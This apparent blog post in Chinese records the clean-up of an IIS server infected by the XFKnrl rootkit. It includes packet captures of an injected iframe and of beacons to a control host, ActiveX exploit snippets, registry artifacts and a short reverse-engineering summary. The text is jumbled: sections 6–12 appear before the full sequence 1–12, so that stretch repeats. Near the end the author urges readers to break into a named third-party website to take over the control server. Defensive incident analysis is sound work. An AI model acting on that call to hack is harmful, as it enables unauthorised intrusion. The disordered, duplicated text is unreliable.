google了一下XFKnrl,没发现太多有用的信息
只好先在system32\drivers\下建立两个0字节的文件XFKnrl.sys 和 rvdport.sys
删除所有文件权限,重启
web页面挂马问题消失,内核模块XFKnrl和rvdport也都没有加载
但进程inetinfo依然向61.164.176.139:3002发包!
先用组策略ipsec封掉到61.164.176.0/24网段和端口3002的通讯
继续检查系统
7、
再次procexp搜索全部进程的handle,没有发现XFKrnl和rvdport的踪影
又检查了一遍内核模块和驱动,没有新发现
目标锁定在了inetinfo进程上
用wsyscheck查inetinfo的线程信息,对比其他正常服务器的该项信息
发现异常线程iisecnv.dll
procexp搜索全部进程的dll,发现iisecnv.dll 插入到了inetinfo.exe和 w3wp.exe中
结束该线程后,inetinfo停止向61.164.176.139:3002发包!
但随后检查内核模块时发现,XFKnrl居然又被加载了!
这至少证明了iisecnv.dll和XFKnrl.sys的关系
8、
搜索注册表iisecnv.dll,发现
[HKEY_CURRENT_USER\Software\Microsoft\Search Assistant\ACMru\5603]
"000"="iisecnv.dll"
"001"="mswsock.dll"
"002"="ntdll.dll"
"003"="ntkrnlpa.exe"
"004"="*.gif"
"005"="usbcams3.sys"
"006"="AtiSrv.exe"
"007"="usbhcid.sys"
"008"="*.exe"
[HKEY_CURRENT_USER\Software\Microsoft\Search Assistant\ACMru\5604]
"000"="jebooo"
"001"="bh.jebooo.com"
"002"="xf.jebooo.com"
9、
终极操作:
在system32\drivers\下建立两个0字节的文件XFKnrl.sys 和 rvdport.sys删除所有文件权限
删除注册表中相关项和文件
用wsyscheck的“重启后删除文件”功能,添加c:/windows/system32/inetsrv/iisecnv.dll,重启
内核模块XFKnrl.sys和rvdport.sys没有被加载,inetinfo进程也不再发包,但IIS崩溃了!
重新安装iis,恢复.net2.0的web扩展服务,重建web站点,貌似一切恢复正常了。
10、
把iisecnv.dll抓到本地,IDA pro分析
基本功能大致包括了:
httpfilter-过滤http协议
hook \\inetsrv\wamreg.dll
加载驱动 system32\drivers\XFKnrl.sys
调用cmd.exe
md5filt
aspnet_filter
CopyFileA DeleteFileA 隐藏和删除文件
大概能知道这个XFKnrl rootkit都做了些什么,它没有做隐藏进程和端口的操作,对文件也只是在内核模块加载到内存高位后进行删除操作,
所以查ssdt没有什么发现是正常的,开始我还以为真的有这么NB的rootkit可以绕过icesword、wsyscheck和RkUnhooker的检查呢!
主要的功能就是过滤http协议,外加得到一个反弹的shell,如果不是它的驱动是运行在kernel模式,还真不好意思叫它ring0 !
11、
后续问题:
先去拜访一下61.164.176.139
inetnum: 61.164.176.128 - 61.164.176.143
netname: YIWU-RONGJI-BUISNESS
country: CN
descr: Yiwu Rongji Handware Buisness
该段里有个应用系统
http://www.lunababe.com/
估计也是漏洞一大堆,有兴趣的可以去看一下,也许能搞到XFKnrl的控制端,哈哈~
12、
唠叨几句:
中了rootkit最好还是重装
测试用服务器正式上线前最好也是重装
防火墙外运行的服务器拿到里边来之前最好也重装
尽量用从可靠途径获得的系统软件
首先是发现浏览该服务器网页时,最底端加入了一段iframe:
http://bh.jebooo.com/3002.htm
追查该代码,关键字:
BD96C556-65A3-11D0-983A-00C04FC29
var real=new ActiveXObject("IERPCtl.IERPCtl.1");
var storm=new window["ActiveXObject"]("MP"+"S.S"+"tor"+"mPl"+"ayer");
var Lz=new ActiveXObject("GLC"+"HAT.G"+"LCh"+"atC"+"trl.1");
function GetCookie_cnzz(name)
应该是利用了ie的一些activex漏洞进行种木马和刷流量的操作
2、
追查工作暂时放到一边,首要问题是解决服务器异常
最开始是怀疑有arp攻击,登录到服务器上查看
arp -a得到网关mac,与正确的网关mac一致,windump抓包
windump -X -i 3 -n arp
也没有发现异常arp广播
检查web文件,也正常,底部并没有加码
初步确定是服务器本身有问题
3、
继续抓包,查看http包
windump -X -i 3 -s 65535 -n host **.**.**.** and port 80
发现在正常的页面请求结束前,被插入了一段
10:06:39.430635 IP xx.xx.xx.xx.80 > yy.yy.yy.yy.2407: P 254:325(71) ack 417
win 65119
0x0000: 4500 006f 1251 4000 8006 d0c4 d233 b9ca [email protected]..
0x0010: d233 b941 0050 0967 fddc 6d08 11ce dc82 .3.A.P.g..m.....
0x0020: 5018 fe5f 17d5 0000 0d0a 3c69 6672 616d P.._......<ifram
0x0030: 6520 7372 633d 6874 7470 3a2f 2f62 682e e.src=http://bh.
0x0040: 6a65 626f 6f6f 2e63 6f6d 2f33 3030 322e jebooo.com/3002.
0x0050: 6874 6d20 7769 6474 683d 3020 6865 6967 htm.width=0.heig
0x0060: 6874 3d30 3e3c 2f69 6672 616d 653e 00 ht=0></iframe>.
正是页面底部被嵌入的iframe
这说明服务器的iis进程或网卡驱动被hook,在侦测到某种类型文件的http请求后,在传输结束前挂马
4、
检查服务器,查看进程、服务、N处注册表启动项、系统帐号
均未发现异常
请出icesword,检查内核模块,发现两个可疑的家伙
XFKnrl.sys 和 rvdport.sys
文件路径都是system32\drivers\,但到该目录下查找并没有这两个文件,基本能确定是rootkit了
正常的内核模块没必要隐藏自己
procexp搜索全部进程的handle,果然
发现在inetinfo进程中有 \device\XFKnrl加载项,iis被插了!
5、
用Wsyscheck和RkUnhooker再进一步检查内核模块和驱动
除了icesword查到的两个sys之外再没有其他发现
ssdt和fsd的各个函数也没有被hook的报告
NtQueryDirectoryFile
NtQuerySystemInformation
NtDeviceIoControlFile
都正常!
但在wsyscheck的“安全检查”-“端口状态”中发现,进程inetinfo每几秒就向61.164.176.139:3002发syn
12:01:20.108071 IP xx.xx.xx.xx.4627 > 61.164.176.139.3002: S 3273827924:32738
27924(0) win 65535 <mss 1460,nop,nop,sackOK>
0x0000: 4500 0030 125f 4000 8006 6e3b d233 b9ca [email protected];.3..
0x0010: 3da4 b08b 1213 0bba c322 a654 0000 0000 =........".T....
0x0020: 7002 ffff 81ad 0000 0204 05b4 0101 0402 p...............
12:01:20.180418 IP 61.164.176.139.3002 > xx.xx.xx.xx.4627: R 0:0(0) ack 1 win
0
0x0000: 4500 0028 0186 0000 7306 cc1c 3da4 b08b E..(....s...=...
0x0010: d233 b9ca 0bba 1213 0000 0000 c322 a655 .3...........".U
0x0020: 5014 0000 ae5d 0000 aaaa 0000 aaaa P....]........
12:01:22.592705 IP xx.xx.xx.xx.4628 > 61.164.176.139.3002: S 1189036599:11890
36599(0) win 65535 <mss 1460,nop,nop,sackOK>
0x0000: 4500 0030 126a 4000 8006 6e30 d233 b9ca [email protected]..
0x0010: 3da4 b08b 1214 0bba 46df 4237 0000 0000 =.......F.B7....
0x0020: 7002 ffff 620d 0000 0204 05b4 0101 0402 p...b...........
12:01:22.654909 IP 61.164.176.139.3002 > xx.xx.xx.xx.4628: R 0:0(0) ack 11890
36600 win 0
0x0000: 4500 0028 2deb 0000 7306 9fb7 3da4 b08b E..(-...s...=...
0x0010: d233 b9ca 0bba 1214 0000 0000 46df 4238 .3..........F.B8
0x0020: 5014 0000 8ebd 0000 aaaa 0000 aaaa P.............
61.164.176.139基本可以确定就是rootkit的控制端了
6、
google了一下XFKnrl,没发现太多有用的信息
只好先在system32\drivers\下建立两个0字节的文件XFKnrl.sys 和 rvdport.sys
删除所有文件权限,重启
web页面挂马问题消失,内核模块XFKnrl和rvdport也都没有加载
但进程inetinfo依然向61.164.176.139:3002发包!
先用组策略ipsec封掉到61.164.176.0/24网段和端口3002的通讯
继续检查系统
7、
再次procexp搜索全部进程的handle,没有发现XFKrnl和rvdport的踪影
又检查了一遍内核模块和驱动,没有新发现
目标锁定在了inetinfo进程上
用wsyscheck查inetinfo的线程信息,对比其他正常服务器的该项信息
发现异常线程iisecnv.dll
procexp搜索全部进程的dll,发现iisecnv.dll 插入到了inetinfo.exe和 w3wp.exe中
结束该线程后,inetinfo停止向61.164.176.139:3002发包!
但随后检查内核模块时发现,XFKnrl居然又被加载了!
这至少证明了iisecnv.dll和XFKnrl.sys的关系
8、
搜索注册表iisecnv.dll,发现
[HKEY_CURRENT_USER\Software\Microsoft\Search Assistant\ACMru\5603]
"000"="iisecnv.dll"
"001"="mswsock.dll"
"002"="ntdll.dll"
"003"="ntkrnlpa.exe"
"004"="*.gif"
"005"="usbcams3.sys"
"006"="AtiSrv.exe"
"007"="usbhcid.sys"
"008"="*.exe"
[HKEY_CURRENT_USER\Software\Microsoft\Search Assistant\ACMru\5604]
"000"="jebooo"
"001"="bh.jebooo.com"
"002"="xf.jebooo.com"
9、
终极操作:
在system32\drivers\下建立两个0字节的文件XFKnrl.sys 和 rvdport.sys删除所有文件权限
删除注册表中相关项和文件
用wsyscheck的“重启后删除文件”功能,添加c:/windows/system32/inetsrv/iisecnv.dll,重启
内核模块XFKnrl.sys和rvdport.sys没有被加载,inetinfo进程也不再发包,但IIS崩溃了!
重新安装iis,恢复.net2.0的web扩展服务,重建web站点,貌似一切恢复正常了。
10、
把iisecnv.dll抓到本地,IDA pro分析
基本功能大致包括了:
httpfilter-过滤http协议
hook \\inetsrv\wamreg.dll
加载驱动 system32\drivers\XFKnrl.sys
调用cmd.exe
md5filt
aspnet_filter
CopyFileA DeleteFileA 隐藏和删除文件
大概能知道这个XFKnrl rootkit都做了些什么,它没有做隐藏进程和端口的操作,对文件也只是在内核模块加载到内存高位后进行删除操作,
所以查ssdt没有什么发现是正常的,开始我还以为真的有这么NB的rootkit可以绕过icesword、wsyscheck和RkUnhooker的检查呢!
主要的功能就是过滤http协议,外加得到一个反弹的shell,如果不是它的驱动是运行在kernel模式,还真不好意思叫它ring0 !
11、
后续问题:
先去拜访一下61.164.176.139
inetnum: 61.164.176.128 - 61.164.176.143
netname: YIWU-RONGJI-BUISNESS
country: CN
descr: Yiwu Rongji Handware Buisness
该段里有个应用系统
http://www.lunababe.com/
估计也是漏洞一大堆,有兴趣的可以去看一下,也许能搞到XFKnrl的控制端,哈哈~
12、
唠叨几句:
中了rootkit最好还是重装
测试用服务器正式上线前最好也是重装
防火墙外运行的服务器拿到里边来之前最好也重装
尽量用从可靠途径获得的系统软件